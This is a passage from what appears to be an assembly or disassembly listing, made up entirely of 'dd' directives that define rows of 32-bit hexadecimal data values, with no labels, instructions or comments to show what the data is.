		dd 0B6AD01B8h, 0B0331B1h, 9BB040D8h, 0CF4A3701h, 89C2C10h
		dd 461C2A2h, 0CDC12Ch, 4B442705h, 8A1F13E5h, 7CB84Ch, 7EFB2E51h
		dd 39A8A7h, 0F8EAF0E3h,	0EBE45AD7h, 0A117BCA0h,	30AEEC80h
		dd 0C458F523h, 120EEAEDh, 2975790Ah, 790851EEh,	15318A6h
		dd 0DC8219C9h, 0CE852232h, 8619FE2h, 137E019Ch,	0A46431A5h
		dd 1F03FCE8h, 1015723Ah, 0E162A2B7h, 218557FDh,	0E6F89BC1h
		dd 26A8B074h, 0AE9E0727h, 52C1E5A7h, 0E85236DBh, 0ACB36E2Ch
		dd 0D9C3ED62h, 188971B8h, 324F302Ah, 43FA3C49h,	56E3Ch
		dd 0DC9DBFA8h, 27754D41h, 50970F93h, 8A80B411h,	0F35608C3h
		dd 34509328h, 0C6BA600h, 4E1928C4h, 8FB600D8h, 5F9B1618h
		dd 44B064BCh, 0DE678480h, 0FCD8284Fh, 0E86480A0h, 50A3812Eh
		dd 0C820E8A8h, 36DCA06Bh, 8C9A5844h, 2718EC2Ch,	84040EEh
		dd 3820A705h, 0CD2730A3h, 0C099C4D4h, 519ADE10h, 8E7C5214h
		dd 8C0CB824h, 0B1D73909h, 3A24DA93h, 0A4BBB032h, 367BF480h
		dd 0C221E28Dh, 0D82DFDE6h, 0D1D8AB35h, 0A6AF0174h, 0F84B1F24h
		dd 50E2FA8h, 0C0E19246h, 3111B0AEh, 6C49975Eh, 0BEBC6007h
		dd 7E385500h, 4B39E764h, 0A55F0163h, 72C599Eh, 14082E50h
		dd 782B8031h, 0CAD3908h, 4BCAAE00h, 222F01C9h, 0A1870EA2h
		dd 0DBE0F19Bh, 539F038Ah, 23BCD551h, 249A4AF0h,	7FEC0498h
		dd 0A8FDC809h, 11B01D80h, 0A4D98120h, 6C706C7Ch, 0D0EE5804h
		dd 47C862Ch, 0BB844AA2h, 907F86Fh, 83379D07h, 0B5E868E7h
		dd 0BA0935F5h, 7408614Eh, 32EC4054h, 0E200CB16h, 0D580F96Bh
		dd 0B8293F2h, 4F1D3C53h, 400090FAh, 0A9B83448h,	27DF800Fh
		dd 34D2F621h
		dd 70DA164Ah, 39D916C3h, 3C4F99Dh, 8DAC449Ch, 0AE79E02Ch
		dd 9F7702B5h, 56F852B3h, 9E48A17Dh, 8C48ADEAh, 4A689045h
		dd 6B15h, 0E46EF80Ah, 4E1E6F1h,	43B0EA5h, 484CA943h, 0E4214FC1h
		dd 0C461EB50h, 0BC743AF4h, 18290F6Ch, 0E078E6D2h, 34C5ADDh
		dd 0A2D9D785h, 0CFC13AC8h, 62588463h, 0CB412CDh, 82B00F4Dh
		dd 0B855232Fh, 972D313Bh, 25805408h, 0B4E43065h, 0AFB1B067h
		dd 0BC29DB84h, 4F60A469h, 1703D9Eh, 0CBE035E5h,	8130394Bh
		dd 0AF77B208h, 70F87C4Fh, 0C1D673AAh, 9AA8BE10h, 3688D03Ch
		dd 2F1EA003h, 0B0CB487Ah, 1CAD69E6h, 0CD0D71h, 2AD08E88h
		dd 281F0321h, 40B06CC1h, 1620477h, 58F04A4Eh, 0F0D9BACBh
		dd 0B0606F6Dh, 0FBE0CF21h, 33360338h, 0B2E73A3h, 4E820818h
		dd 18EA20h, 2638FEFCh, 0BA651059h, 60B5D006h, 0B9ACB4h
		dd 0F2C7FD22h, 1325513Ah, 7CED3800h, 842610C4h,	95340772h
		dd 0F009DAD1h, 5EC058B1h, 0AD782A0Eh, 0BF354020h, 0C05297E0h
		dd 656FAF70h, 0D403C2CAh, 0CCAB135Bh, 1E081883h, 720820BFh
		dd 0C1ECCA01h, 5196F789h, 11593980h, 0C6CF1C05h, 3A5FA100h
		dd 8343987Ch, 196C335Eh, 0F90097D1h, 693DE0AFh,	50A767A6h
		dd 8C738C71h, 3EFBE604h, 87620336h, 0FBDEEC21h,	1C043DCh
		dd 0CC63C438h, 8CB7A90Ah, 48AC67E0h, 452D188Eh,	55270B9h
		dd 20B08530h, 52FD0302h, 0E5238096h, 0C9CA6401h, 581873D4h
		dd 6D0D21C0h, 3CEE14CAh, 4C366B3Dh, 6C46C018h, 31FBE502h
		dd 88311B36h, 0FBDDF110h, 38CF781Eh, 0F955DC80h, 84882CCh
		dd 0AFA63D56h, 6C330C0Fh, 0D2A898h, 273A6A0Ah, 0CBB477C1h
		dd 2600A849h, 9A3C45BBh, 6107419h, 7E89B3B8h, 318C07AEh
		dd 603988DFh, 0C8AA8F4Ch, 0BDC20D07h, 42850ED4h, 0BE412C18h
		dd 30DEE8EDh, 17118AD6h, 680192C4h, 0C26BE40Ch,	898EBF4h
		dd 0BC362123h, 6F909215h, 837700BCh, 0EE3A9DFh,	80880633h
		dd 0B169B4C4h, 0BC395474h, 9E1160B7h, 24E6703Eh, 0C4CCD835h
		dd 0C0834FA1h, 2BD57F70h, 0A0610CC2h, 7169AA6Ch, 44158FB0h
		dd 7C648E47h, 2DC4686h,	0C6692C6h, 137F31F4h, 20929034h
		dd 551EECEh, 88FB0CC5h,	29C00FBBh, 0A03285E1h, 804344Eh
		dd 0E13EB200h, 86D0F447h, 645E24C9h, 0A0B108B4h, 6A33D100h
		dd 0A4BE7755h, 703C0478h, 624835E4h, 0EC7927AAh, 3B2E5020h
		dd 59003FC2h, 0C134D15Bh, 3C4C4C8Eh, 0C3925D0Eh, 90E72BE4h
		dd 5ECDDA4Ch, 0A6ECFA18h, 742574B0h, 0A788C2A5h, 0E0481F97h
		dd 0A30062EBh, 0A0FF36EEh, 17475A38h, 89381h, 929A76Ah
		dd 0E100A961h, 0BD0FE76Eh, 3FC6E696h, 60CC692Ch, 8C7CE8h
		dd 3AE2F159h, 9A9C330Dh, 31B4A0C4h, 9754B4D2h, 80A49190h
		dd 9D7C49FCh, 2A0102BBh, 276EC0F8h, 0F460CC80h,	0A4122B44h
		dd 0F008AFC7h, 0CA66C3E7h, 1883D4E9h, 6F0F8859h, 0D2C3CA03h
		dd 0B66D33h, 4A46C1E9h,	28C57902h, 0B50C4C13h, 71AEC020h
		dd 80900E7h, 34944B7Eh,	0E00FB216h, 211E1DEDh, 0A8874F22h
		dd 0DD4841CEh, 9208C918h, 0C4BC0C65h, 0C1354072h, 0BC5F792h
		dd 3998D20Bh, 42163D0Ch, 8B2440B2h, 4674A8FCh, 0B69D03B2h
		dd 386BDA98h, 7994F848h, 0BB0AA029h, 749C47C1h,	78025B46h
		dd 9981354Fh, 0AD9D3C40h, 0E29033F1h, 72BA307Dh, 0FB35FD3Bh
		dd 0B4A85562h, 75F044C8h, 75123537h, 2B43A8C1h,	320184C0h
		dd 3835EA70h, 3A7F000Eh, 673EA770h, 375901Dh, 0C3B76E14h
		dd 89247E6Ch, 80392819h, 88AACF67h, 782AD71h, 1F432001h
		dd 0D029A1F5h, 0D1047069h, 5841DE48h, 0DFAF15C0h, 92C780F4h
		dd 99EC0C67h, 0BF37C03Ch, 77003392h, 0E3D2632Bh, 14C4DB0Dh
		dd 0F06A840Ch, 642CC123h, 0C8BA025Ch, 0AD5752C0h, 1869B0C9h
		dd 3CFB08E4h, 7BC41336h, 0FBDCEE40h, 0D8246501h, 0D4A90C9Dh
		dd 0B118B3D1h, 7A1324FEh, 48200AD5h, 4CE02302h,	0BF3804BAh
		dd 8DF5192h, 68C0E138h,	48D4C5CAh, 9E0D453h, 6908CA71h
		dd 406C56A5h, 40AD8DC2h, 0CF2A6F0Eh, 11DAE0D9h,	165B7A31h
		dd 1EDE53C0h, 8E28E2B0h, 0F090382Fh, 2CA35B01h,	4DF80AB8h
		dd 747818A4h, 1738646h,	4EF38F0h, 50BAB423h, 5750B888h
		dd 0B3667F0Eh, 7EC0E0BEh, 1EE1193Ch, 6C671D8Eh,	3E2900E4h
		dd 50C386Eh, 0FCC87658h, 265C8C72h, 623C0F4Eh, 3789FF4Ah
		dd 0C62C00CBh, 4B97B4h,	0F33F9F08h, 0AD5CD173h,	7A99361Fh
		dd 98091824h, 0BFA80467h, 0E7703F60h, 0CC303526h, 70F87E71h
		dd 0E4E8003Ah, 0DE459C05h, 0BD013724h, 9DB1066h, 20B8FDh
		dd 20D8983Fh, 310A1FE6h, 3C6B9AF1h, 380FB805h, 98DBACD5h
		dd 0CDE19F80h, 0B0E27185h, 0E63DB9E2h, 40661CCCh, 0AC9CA344h
		dd 8C6E4CCCh, 3BFBE704h, 89620B36h, 0FBDFEF20h,	92FF004Bh
		dd 16AC113Eh, 0AE6C02B8h, 401ED841h, 0B5593F83h, 13A2340h
		dd 0D4C8CA67h, 402A186Bh, 6C0112BFh, 0B34C09CAh, 0D8DB6DEEh
		dd 75F8983Ah, 8758C039h, 0D1C9B4BCh, 6EBC7350h,	24228209h
		dd 0E6A8009Eh, 4B3E9933h, 0D4500F4Eh, 4B6E8520h, 1E24F3BBh
		dd 3F66C4Fh, 0CF203A72h, 32E8270Fh, 0AC908795h,	0D71850A0h
		dd 92C20286h, 6C140C6Ah, 30117C19h, 8DD830BAh, 0FC296F02h
		dd 0A049969Eh, 0E2F68B90h, 0C39C1959h, 1870A832h, 3DFB09E1h
		dd 1C3B36h, 0FC19ED00h,	0D2DB563Ah, 75480137h, 7AE1AE87h
		dd 843C30FFh, 3040B040h, 0BB908F92h, 61D3CAF1h,	80C23008h
		dd 4E9340Bh, 0EF696C93h, 43F40F21h, 8EB48E52h, 2BAB0429h
		dd 0BA9CECF9h, 3A3F78C0h, 0FEDA2CFFh, 8C191504h, 6992C580h
		dd 6B43DC0Ch, 31002022h, 0FF6D92BDh, 4946C0F9h,	1677908Dh
		dd 45B22212h, 8EBC3474h, 0C08988A8h, 0E326C56Ah, 44D53A00h
		dd 48059E60h, 4802FE03h, 0DC0E184Fh, 0DA09B492h, 83C4C865h
		dd 67088660h, 62097E78h, 2BF782Bh, 21ACA88h, 0F498B437h
		dd 2C7044BBh, 0F5230602h, 83B6F022h, 48C05FCCh,	1A22D420h
		dd 724430A7h, 0F9CC8260h, 0C83BC300h, 0C136D14Ch, 7A9CBA4Ah
		dd 8C1A2E64h, 66C68278h, 20721286h, 9C1B020Dh, 744190BCh
		dd 1883D515h, 2F7D248Eh, 9319E7F0h, 0E8502548h,	7B008C7Ah
		dd 0A72AD05Dh, 1C12744h, 0C887DF6Ch, 5057975Eh,	0C420B190h
		dd 0A3E12C00h, 42D47091h, 50D350A5h, 0E1AA4094h, 8B53326h
		dd 31418C2Ch, 1824C299h, 504B6B58h, 0C200B4BDh,	51846EF8h
		dd 37FC04EDh, 0B14DDD8h, 91B89754h, 138980AAh, 1A2239Fh
		dd 0AB1518C8h, 0DC328734h, 59D3172Ah, 0A1233C2Fh, 0B9817B00h
		dd 2ADE9F9Dh, 0C8B76Ch,	0C4834755h, 8D302E60h, 885A962Ah
		dd 843C2700h, 6DE7BC19h, 0DBF701E5h, 6FDFFF61h,	9E0203Eh
		dd 7082E926h, 89053C40h, 4108A27Dh, 6118E4ECh, 0D4C6CA0Bh
		dd 3589C7Bh, 5DCA6E0Ch,	1BB0FE74h, 0E0A0AEA8h, 0C72442D0h
		dd 200048Eh, 56F1CC67h,	9E19035Bh, 6048700Ah, 0B9B768E0h
		dd 5682F1C0h, 18B6C4h, 39FE5496h, 20A975E1h, 9F099C7Ch
		dd 0E82A8E6Ch, 0E6EE6B4h, 5608C69Eh, 0F8E5FFC9h, 18BE59E2h
		dd 1E0B07DCh, 878AF8D6h, 0C4F6B40Ch, 9B5827C8h,	0B865A4A9h
		dd 9C6120E4h, 0C33CDh, 0C0D9F09Ah, 1A5E5243h, 60A104FAh
		dd 27E210E5h, 80A218BFh, 0BA48A805h, 87853D4Ch,	308A000h
		dd 17C2A59h, 0CFF0CCADh, 885AE3D1h, 0BAF78D0h, 1806EC86h
		dd 42F08128h, 7A4124h, 7420E245h, 236492C8h, 2111C40Ch
		dd 92C04A00h
		dd 0DAF6B3AEh, 416CCF0Bh, 88884550h, 3549AC6Eh,	0A74880F0h
		dd 6D03023h, 0F896A504h, 4C11EDAh, 7832C02Eh, 2276EE16h
		dd 0B4EAD87Ch, 7C446447h, 68431F60h, 2ED19200h,	0F880E361h
		dd 6FDE30A0h, 1E950B68h, 0E57CF27Dh, 7860A9FAh,	90F46818h
		dd 8768924Fh, 602544ECh, 3408C22h, 0E9FAF0BDh, 9907796Ch
		dd 92AC29FFh, 6AF99790h, 0B3F2161Fh, 19EC05B2h,	0B240A374h
		dd 613430A4h, 41F56D00h, 82F881AEh, 9599143Ch, 584CD866h
		dd 2444211h, 0A00E75F4h, 3DD5E16Ah, 749879A4h, 0DB1FB346h
		dd 42CA6AEh, 87B6A932h,	0B12A3060h, 0AD547BE8h,	64B6AFE0h
		dd 0BF27215Eh, 95A88881h, 78305C7Fh, 60CC643Dh,	3894CDE5h
		dd 6A007BB0h, 21D162B4h, 12C4CE6Eh, 45F511DAh, 5D7F6CA8h
		dd 0D9C84EC0h, 414887A6h, 0C1164898h, 0BC095476h, 9F102932h
		dd 9DA51120h, 71BAA100h, 0BE99387h, 0F5262313h,	0CC09C044h
		dd 9CF5BD8h, 8C0E002h, 1228F602h, 82708172h, 59D284h, 69187BF1h
		dd 1DD8640Dh, 0D020C87Ch, 619F0062h, 6F15D099h,	0B42663A7h
		dd 74A310E5h, 0F4E1658h, 0B6D0B0D5h, 75173320h,	0C07C9E5Fh
		dd 0E04A8BAh, 0A1F83674h, 3E0AC90h, 4EAB2D68h, 0DB007CB7h
		dd 0E7090C0Ah, 0C0363BD3h, 84DC8AAEh, 0C01C6699h, 10570E24h
		dd 282FBC4Fh, 97057A23h, 54C9C602h, 20AABC02h, 0D0A91079h
		dd 9299C0Fh, 67E00535h,	0B12C74C1h, 30FBDA01h, 9F40B8C8h
		dd 6FD7298Ch, 1886D1E0h, 5DCE3997h, 0B7E8E089h,	151BF848h
		dd 320B7075h, 20D82303h, 8660E16Ch, 5EE49691h, 81BE5B21h
		dd 0A532D786h, 0C1C6078h, 38232Fh, 0D5E67A28h, 2C7C00F8h
		dd 0F2B024D6h, 0CB37B4E3h, 8EB591A2h, 0E159D040h, 15C67Bh
		dd 8B23DB13h, 3D8399FBh, 0D678680Ch, 1D652981h,	400453BBh
		dd 0D31E4D0Dh, 6725E6DAh, 3A4B7FAh, 0AAA53D59h,	996B9CF8h
		dd 19262D25h, 702CED94h, 8C7FB8h, 7BE56A22h, 4263D782h
		dd 0AC05352Eh, 4464D48Bh, 9EBB1638h, 1109568h, 0E0322C6Ch
		dd 43A040BEh, 30248E59h, 372DAC6Eh, 7FE384F4h, 38C0F19Ah
		dd 20659FB8h, 1F20EA20h, 8F7501F7h, 1D9809C5h, 95D400BFh
		dd 3120064h, 6BEA4FBAh,	0CB00798Bh, 70D00EA1h, 6E45378h
		dd 268E6C5h, 18EDA071h,	0C4CA086Bh, 20C64BD4h, 700E0061h
		dd 8A7D15CAh, 0C0003457h, 0CCBB590Fh, 3E44F461h, 1A899B6Fh
		dd 883BB788h, 0FBEA60ECh, 0E3361332h, 0F0682CA2h, 0D6FBE200h
		dd 434CBB25h, 0D0280F7Ah, 35657869h, 97C40271h,	0D0D3C7BFh
		dd 0CEFF70h, 7E248E49h,	0D7B4BF94h, 2F887959h, 0D1D4A081h
		dd 7C3C7DF8h, 33C602B5h, 8421AA06h, 91607478h, 69996031h
		dd 0B612F5Eh, 2A08501Dh, 0AC560BFh, 940B4D64h, 826925EFh
		dd 116B54Ch, 60ABB4D0h,	9D8A81E4h, 807C1170h, 0A87321EDh
		dd 4A278C9h, 4EA0C7E1h,	0E2A0C427h, 317BF2BCh, 70B1F1D5h
		dd 39178627h, 309AED64h, 634AABC0h, 8213A6A1h, 70810C1Ah
		dd 0C450B6B7h, 0EE3AB908h, 47AB0B02h, 0AC98606Fh, 3D3D0F57h
		dd 0ED3B0784h, 68D1BC78h, 0C44E7022h, 0ACC02788h, 30A8Fh
		dd 92612FFAh, 8896887h,	14B8BB74h, 99410E27h, 9854D3D0h
		dd 4600A06Fh, 5E1356BDh, 0A496B4C5h, 0D0B73980h, 1D73A1AAh
		dd 49368FF8h, 0B4E62442h, 48BE58h, 0FFE1DB3Dh, 0C077DEF0h
		dd 0D07F7CA0h, 6CBEDA06h, 70EE0ED6h, 5E493499h,	0D036D040h
		dd 0A9142227h, 79885994h, 50C187Ah, 0F3F8CCA4h,	0F424C2FDh
		dd 79C4AC79h, 48708752h, 56EC1249h, 89EC4020h, 9F63EFCh
		dd 7F714700h, 64946F30h, 8C192EF8h, 94C66980h, 72449CA7h
		dd 0BC809E60h, 0A6D3E101h, 342FB512h, 83A26833h, 9B1030h
		dd 4A81CEC8h, 97DDC5CBh, 3401C49h, 419F796Eh, 0A8249B64h
		dd 0C530A6h, 0C003B9D0h, 9EB8C87Ah, 3BE66601h, 0AD55D699h
		dd 9A22F029h, 465EE4BEh, 4E970F7Dh, 785280C3h, 2C0AD2C6h
		dd 257C8575h, 2C3CE861h, 0C0BD8814h, 35E17039h,	4486CCE0h
		dd 70FC80ADh, 0E4509B01h, 75FEC836h, 2C6BCC40h,	21885A2Ah
		dd 80792D64h, 4A24D170h, 0C86F8297h, 28036D8h, 0FE3AD06Ah
		dd 440492F5h, 0E93FC7ACh, 3140058Ch, 0DCC89F6Eh, 25F818B0h
		dd 54CB7089h, 60D0D091h, 7C840A76h, 249440CEh, 11C80018h
		dd 25703407h, 0D0FA9100h, 86836085h, 0F398397Ch, 77937687h
		dd 0DFA5811Ah, 1000F382h, 0D544264h, 19AFE4FCh,	834FF73h
		dd 8021BF6Ch, 0CC6954EAh, 62E1531h, 49929E02h, 7E015078h
		dd 778EBD08h, 4E0F284h,	388F6F9Dh, 0BAAA1C00h, 0D87D112Ch
		dd 0CFF98819h, 21848008h, 80BAA239h, 2634A79Dh,	9B95F526h
		dd 0F8450707h, 80902A00h, 6310D86h, 0D4D85EB4h,	9200BB2Eh
		dd 0CFCA11F3h, 28E6855Dh, 1E887A7Bh, 0C02E9793h, 1819FCA9h
		dd 4966F48Fh, 218308h, 8ECF3731h, 6AF5D002h, 0E67990A0h
		dd 607BDC30h, 3DC784F4h, 0EC8FCC58h, 8EA0E81Ah,	731705Eh
		dd 8727FF18h, 244B628h,	15627F78h, 0C8A07BCEh, 0AAC21E93h
		dd 5727920Fh, 19702C0Dh, 85150001h, 9DFAA423h, 73007AB2h
		dd 40EA876h, 19478F3Ah,	0D0826AB6h, 83118EBh, 11FCA8CFh
		dd 364E81C4h, 0F96ECF21h, 7412DCEFh, 37AC19C0h,	48A4DCD6h
		dd 4100C2Eh, 0D4606881h, 0AC800A11h, 0A8112ABAh, 4F7D448Ch
		dd 48BAA400h, 80AC4643h, 0ED010FD6h, 74814AC5h,	5B24DD3h
		dd 17CC7BBh, 847162F6h,	87FF98E0h, 0C5F72490h, 189C60FEh
		dd 8BFA51E3h, 0CE57A300h, 3E72CBE6h, 1A5F297h, 0C7F2166Eh
		dd 269E7C1Bh, 543D0254h, 31ECFC08h, 0E5431070h,	0EB260054h
		dd 0C7596074h, 0A1FDB97h, 0AE890727h, 9D8812F8h, 822B1154h
		dd 0C0BEE308h, 6002F588h, 0F816C89Bh, 10907B74h, 829E2603h
		dd 1D79C625h, 6BD7C39h,	11947433h, 0C208B300h, 695B1A3Dh
		dd 0C9127F78h, 0E8306D08h, 70009361h, 0FED9DDC8h, 924DCB7Eh
		dd 0C42C8738h, 67236061h, 9297319Ah, 0DC4F1A49h, 252C29B2h
		dd 6D03F02Fh, 0E820B5F0h, 1493C482h, 0B085070Fh, 93EA1C50h
		dd 0CF2A014Ch, 1839FCADh, 3531C048h, 0A01CCF33h, 8078100h
		dd 7491666Eh, 260EE040h, 5203EEAh, 5D81F798h, 91FA0CE0h
		dd 0C8141AD1h, 18AC3250h, 49B175CCh, 901C77E6h,	0A4AE2464h
		dd 11693EC8h, 309E1830h, 0E2149773h, 7C8ACDCh, 34DB25C7h
		dd 0A60CE883h, 0FF7C58h, 24ECBE1Ch, 99D0FCA4h, 3E40B761h
		dd 0E9807D7Ah, 27B160Ch, 1C00FFEAh, 0BB9D7072h,	125073D2h
		dd 8B9CC05h, 44C0A354h,	43FC0F54h, 0ECC09F34h, 4809C354h
		dd 6F6FAFCh, 9D01CAABh,	27CE990h, 0F157B30Fh, 110A630Bh
		dd 474AAFFh, 4618CB09h,	87BDB0CCh, 676207F1h, 6F73EEBh
		dd 1624C844h, 0D14768F0h, 4EC5000Fh, 0C07E7AECh, 74FB8361h
		dd 89F09043h, 47708800h, 3C4AA72Dh, 731A1453h, 1F10CC68h
		dd 7CBC565Bh, 48D44B56h, 8C25E844h, 0FE605636h,	0E918C191h
		dd 0A889FD98h, 0F215C411h, 41D42E43h, 0A47C3014h, 5437058Ch
		dd 383CFC12h, 3F0145D4h, 0C325C154h, 0E203787h,	7A0A1624h
		dd 31A81FBCh, 220DFB29h, 44090068h, 0EFA7130Bh,	0A23CA988h
		dd 540B4118h, 1C4CFC0Ch, 0E93F00B8h, 2B963554h,	0A5F2761Bh
		dd 38988626h, 78207C02h, 59910216h, 0B3E0306Dh,	12C54518h
		dd 9FC7082h, 0D8AC63C8h, 48C2F50h, 1A41C20Ch, 2CCE3Bh
		dd 0D4C204D2h, 26FA29C7h, 3F53DEC5h, 0E3745001h, 20431DA5h
		dd 80ACA12Ch
		dd 9543E02h, 16B004FCh,	54E64603h, 0E108A7C4h, 0A0EE9CF7h
		dd 6B2A36F4h, 2DF200CAh, 0C0C5CC4Bh, 7F048B4Ah,	7A04BE58h
		dd 14BAE888h, 9426BCE8h, 8F39C900h, 59432C5Ch, 0E9469890h
		dd 0AACF2702h, 4F3141FCh, 0CF883413h, 0BB177F21h, 1C0F95D1h
		dd 601FB21Dh, 24DCD4h, 1288D97Eh, 122C8934h, 854C120h
		dd 0ABC00770h, 46112DBAh, 3C887ED0h, 4ABA00A3h,	0EF137EBEh
		dd 9B488C49h, 202C7220h, 246234E0h, 81B4CCD1h, 0D1832DCh
		dd 1A36C208h, 4067C443h, 0E2C205D5h, 0FA020047h, 44208D10h
		dd 0ACE89A9Eh, 0F4682966h, 77744E0h, 0A9289C31h, 32E1A34Bh
		dd 85805432h, 0AC52D1A5h, 0C03690C8h, 1A42C209h, 66226346h
		dd 0C241D100h, 0CFA54C71h, 0E55C05AFh, 8AF7C6BDh, 0B0623DCh
		dd 7085BAA8h, 5DC8EC8h,	0B1BAA03Bh, 742714EBh, 123035A2h
		dd 1A3710C2h, 0AD4E00Bh, 0A8CC00C2h, 9D6246Dh, 9109DA8Dh
		dd 855D100Eh, 0FC985474h, 6C2012DCh, 2540347Eh,	617C80A4h
		dd 0F8FEB65Ch, 9A198860h, 0D27F28E8h, 0C1286430h, 1C81CC84h
		dd 2F724A63h, 854D107Ch, 0E9A1F6CEh, 0C8D281EAh, 0F0008D6h
		dd 0DC1D8F87h, 48488A37h, 6AE8D8AEh, 0A5B30E8Ch, 3863040Ch
		dd 0B8811ABDh, 0FDB88980h, 11549DB9h, 3F9D66h, 0C31E045Dh
		dd 1852C485h, 797EDC3Ch, 9500E79Fh, 2D89D862h, 7C207C0h
		dd 0E2A83B47h, 8102B1Eh, 0D9029E84h, 983692A4h,	0D9010FCh
		dd 66C80F14h, 0F0127CE0h, 340067C5h, 0A3D912D6h, 0DFE3265Ch
		dd 0EACF40E4h, 0AB00D3DBh, 2FA5DCEBh, 1C7A343h,	1A275C04h
		dd 63BD1B99h, 0C558B734h, 4BC5814Ah, 42F87009h,	9774F0A0h
		dd 958298A8h, 75513000h, 0F02B61ADh, 69B90402h,	0D38820BAh
		dd 0D0002E74h, 91809437h, 4131D802h, 3054ED6Dh,	4102F91Ch
		dd 7BA8AC79h, 0A984A07Ch, 757ED609h, 5DB5002Ch,	98EA3467h
		dd 3E003564h, 0EC2E0FADh, 25DB8208h, 0CC1DD51Bh, 6806A11h
		dd 6D5C87CAh, 1A511E03h, 48228F0h, 869D55B8h, 26CC8875h
		dd 808014B8h, 302E1631h, 0E141246Ch, 0D05080B1h, 1C6974D1h
		dd 0A78C816h, 11BC706Ch, 544380A0h, 87DCFC0Eh, 54EB4901h
		dd 5870DAE4h, 0B274445Fh, 0BC4CE65Ch, 0F5008C81h, 8AB64E8h
		dd 0F9074B19h, 0C77656E4h, 0C2AEA8D8h, 64645E46h, 0A6024046h
		dd 0F81130BAh, 35000CC7h, 1FABBA9Eh, 16200ECh, 0FA92AECEh
		dd 4496AA9Dh, 7DF57A06h, 85DF31D8h, 0F5F92BE1h,	4108253Dh
		dd 47970570h, 1806C1A0h, 87F09E7Dh, 13BD602Ch, 0E49292F1h
		dd 0BAAD3005h, 0A0112B11h, 3A802888h, 778BAA5h,	17F84AE7h
		dd 104C2FC8h, 87DF8480h, 896FFF95h, 48C764C2h, 23606C44h
		dd 0B0738CAAh, 6FFE3C00h, 37E2C87h, 7B1CEA5h, 0F460E024h
		dd 7811C794h, 742A874Fh, 0C5FD0AA0h, 95B070EAh,	277FAC1Dh
		dd 7800E1F3h, 9EC20EBBh, 0B126B0A3h, 4674CC93h,	97DB2E4Fh
		dd 0DC82BC07h, 0C45847F9h, 0CED06067h, 0B15C1E9Bh, 211BD66Dh
		dd 8C7FDF00h, 1E42EC29h, 0FFDE0022h, 58032E45h,	9E4C30BFh
		dd 79F010DCh, 10703129h, 0B8ECD077h, 85434Bh, 958E42EBh
		dd 92577B0h, 0FB7E57D0h, 270D68C9h, 0B8D0581Ch,	7844383h
		dd 0C40451BCh, 30405A97h, 8EA948h, 9402F163h, 1B9217DAh
		dd 6BE4A8A5h, 0A09EC560h, 0F725D300h, 0ABBCBE1Eh, 0BA410361h
		dd 0C0F9389h, 12B8E948h, 0C019B01h, 6D14DE63h, 0E817D0A7h
		dd 60854C88h, 69C7B04Bh, 35D3821Eh, 82C015D4h, 471889FCh
		dd 655F448Ch, 0CFD97380h, 67500B45h, 4CA91797h,	26E4C445h
		dd 9DFEA560h, 180DC22h,	725E0631h, 0D859C889h, 861E6FD4h
		dd 1C2492DDh, 2C80EC91h, 49FCABCFh, 37C00899h, 14B3CF35h
		dd 74137EFEh, 10277119h, 86121092h, 40CD00A0h, 9909A86Dh
		dd 1E293EEh, 971B8F2Dh,	80791174h, 0ADC33FB8h, 197560DCh
		dd 7B41B7FCh, 335F3000h, 89495AE8h, 0C6470044h,	0A32550ADh
		dd 0E916EECCh, 0AC207ADDh, 4A8A7Bh, 0B7FA79E0h,	0A224AADBh
		dd 7A1FA491h, 9500F8AAh, 16B5B245h, 6BB999h, 0A573C1C2h
		dd 0D2C4C53Fh, 0D8A97E01h, 7CA0201Ah, 31CFA874h, 7741FB98h
		dd 428FE9BFh, 2B30E5B0h, 0FCA612CFh, 88B21h, 4ACF3830h
		dd 7F43ED57h, 70D018A1h, 0CE9FA19Bh, 6201DA00h,	98B92EEFh
		dd 82E4B4FEh, 7B469DFDh, 9651A800h, 201C986Eh, 5D031660h
		dd 0F4E884C4h, 34100E75h, 0D053F3DCh, 0FD7DD9F4h, 46C92A00h
		dd 0CEF9BE05h, 0CA010BF4h, 27F89F6h, 6351F32Dh,	2486D9CDh
		dd 4B4B1AE0h, 23002F69h, 813A0082h, 0B859A90Fh,	7A14D54Dh
		dd 727D401h, 0ADD8AE45h, 0E842DC25h, 3CB44471h,	18EF09F8h
		dd 838C904Ah, 0B9C8F0A3h, 200A3D91h, 5E4194F4h,	0BA3603F8h
		dd 2028B0B8h, 0E72D6A93h, 0BF389785h, 0C560046h, 0B6C998F8h
		dd 85710B1Ch, 0A061F6C5h, 6CC880A5h, 562E7F9Eh,	0D0021DC3h
		dd 5826E015h, 4674D4C2h, 9FE2004Dh, 0C86941DAh,	9671307Ah
		dd 0E93903F9h, 0E0116100h, 748AFFF7h, 0E3D501CFh, 14931F6Bh
		dd 2DB42580h, 4CB8B0h, 729DC7CCh, 98C0D67Eh, 1892F476h
		dd 524058B4h, 1DAA5Eh, 15463836h, 0CE4B3410h, 1805A424h
		dd 7FD68900h, 0EE5CBEC7h, 60A00312h, 9F35C56Ch,	75580AF8h
		dd 847F10C0h, 18BEE17Dh, 30C8592Eh, 400A781h, 133EABA0h
		dd 66467D41h, 21B00803h, 0A00D091Dh, 0C274D1C0h, 0ECEDAA5h
		dd 5D54DF6Bh, 2958FC8Fh, 8300750Dh, 0B49599CFh,	3013C7DBh
		dd 0A1998285h, 393E7DEAh, 60A29CF8h, 8CA3030Eh,	0BC2164h
		dd 1DD97DF2h, 0E835E9E5h, 88D0830Fh, 623CA317h,	0E7280081h
		dd 71D22A04h, 68C1EF7Fh, 5E0E3F76h, 5CD42083h, 91785FB2h
		dd 42379E0Eh, 9D3860F0h, 0CC203FC3h, 0FD21D208h, 53422F00h
		dd 0D5FBB40h, 87B1B68h,	0BCCB41C4h, 0CE95291Dh,	0ABF838C0h
		dd 7D3DD41Ch, 22F60CDDh, 0B6C17585h, 0D29C1200h, 8C9DA04Eh
		dd 1ACD017Bh, 8048A646h, 0E88425Ch, 87DEF30h, 0A303F834h
		dd 0C1456D64h, 58D606F7h, 4B0091B9h, 8F340D3Fh,	0EC6BA24Ah
		dd 0A6E8C6h, 5AFE58D3h,	2857E1A9h, 0D440BC3Dh, 0E1F6B98h
		dd 0C45CC059h, 0DF62D340h, 692883Bh, 0E0B9C340h, 0A0C87118h
		dd 7DEDC010h, 0D356F83Ah, 6522D8h, 0DE7DF5BFh, 4631759Fh
		dd 4536790Eh, 2032A2BAh, 40384274h, 0C2B4C469h,	0C25FAA78h
		dd 0C63AA8A0h, 9B067F8Ch, 0BB5E4999h, 85880319h, 25AEC0E3h
		dd 97F9F6BBh, 4809E0F9h, 235C4248h, 0A007002Dh,	40FB3EA8h
